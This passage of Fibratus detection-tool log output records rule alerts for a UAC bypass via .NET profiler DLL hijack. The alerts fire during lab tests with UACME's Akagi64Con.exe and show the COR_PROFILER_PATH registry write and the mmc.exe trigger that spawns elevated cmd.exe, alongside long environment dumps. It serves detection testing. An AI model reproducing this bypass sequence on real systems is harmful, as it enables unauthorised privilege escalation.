, kproc➜ ffff80800989b080, name➜ cmd.exe, pid➜ 16076, ppid➜ 7904, real_ppid➜ 7904, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-01 17:31:26.046487 +0100 CET, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 7904 + Ppid: 15636 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-01T17:32:00+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-01T17:32:00+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-01T17:32:01+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-01T17:32:14+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-01T17:32:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-01T17:32:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-01T17:32:14+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: false + HasFileEvents: false + HasRegistryEvents: true + HasNetworkEvents: false + HasHandleEvents: false + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: CreateProcess, RegSetValue source=bootstrap/bootstrap.go:152 +time=2025-12-01T17:32:14+01:00 level=info msg=bootstrapping with pid 9168. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-01T17:32:14+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] systray=>[ enabled=>false sound=>true quiet-mode=>false] eventlog=>[ verbose=>true enabled=>true] mail=>[ to=>[] use-template=>true enabled=>false content-type=>text/html port=>25]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-handles=>false serialize-images=>false serialize-threads=>false serialize-envs=>true] + eventsource .................... [ min-buffers=>16 enable-image=>true enable-thread=>true enable-fileio=>true flush-interval=>1s buffer-size=>512 max-buffers=>36 enable-audit-api=>true enable-vamap=>true enable-net=>true stack-enrichment=>true enable-handle=>false enable-mem=>true enable-dns=>false enable-registry=>true enable-threadpool=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]]] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml] from-urls=>[] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 level=>info formatter=>text max-size=>100 max-backups=>15 log-stdout=>true] + output ......................... [ elasticsearch=>[ bulk-workers=>1 healthcheck-interval=>10s template-name=>fibratus index-name=>fibratus gzip-compression=>false healthcheck-timeout=>5s sniff=>false enabled=>false trace-log=>false servers=>[http://127.0.0.1:9200] flush-period=>1s healthcheck=>true timeout=>5s] amqp=>[ vhost=>/ exchange=>fibratus exchange-type=>topic durable=>false passive=>false tls-insecure-skip-verify=>false timeout=>5s delivery-mode=>transient enabled=>false routing-key=>fibratus url=>amqp://localhost:5672] http=>[ endpoints=>[] enabled=>false timeout=>5s serializer=>json method=>POST enable-gzip=>false tls-insecure-skip-verify=>false] eventlog=>[ level=>info enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty]] + pe ............................. [ excluded-images=>[svchost.exe] read-resources=>false read-sections=>false read-symbols=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-files=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-allocs=>false excluded-procs=>[] enabled=>false skip-registry=>false scan-timeout=>10s excluded-files=>[] skip-mmaps=>false fastscan=>true] source=bootstrap/bootstrap.go:187 +time=2025-12-01T17:32:15+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-01T17:32:17+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-01T17:32:22+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 76596 + Pid: 13632 + Tid: 11516 + Type: RegSetValue + CPU: 4 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-01 17:32:21.520895 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffb387b28a1ba0, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.ref: https://attack.mitre.org/tactics/TA0004/, tactic.id: TA0004, tactic.name: Privilege Escalation + + Pid: 13632 + Ppid: 8360 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:e1a7ab5e-85bc-405d-abfb-e733129bd8b2 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 77044 + Pid: 328 + Tid: 13652 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-01 17:32:22.1866567 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 3f656d000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff8080079dd080, name➜ cmd.exe, pid➜ 9408, ppid➜ 328, real_ppid➜ 328, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-01 17:32:22.1866089 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004 + + Pid: 328 + Ppid: 13632 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-01T17:32:37+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 77703 + Pid: 16280 + Tid: 17300 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-01 17:32:36.2141082 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffb387b28a1ba0, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 16280 + Ppid: 8360 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:e1a7ab5e-85bc-405d-abfb-e733129bd8b2 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft 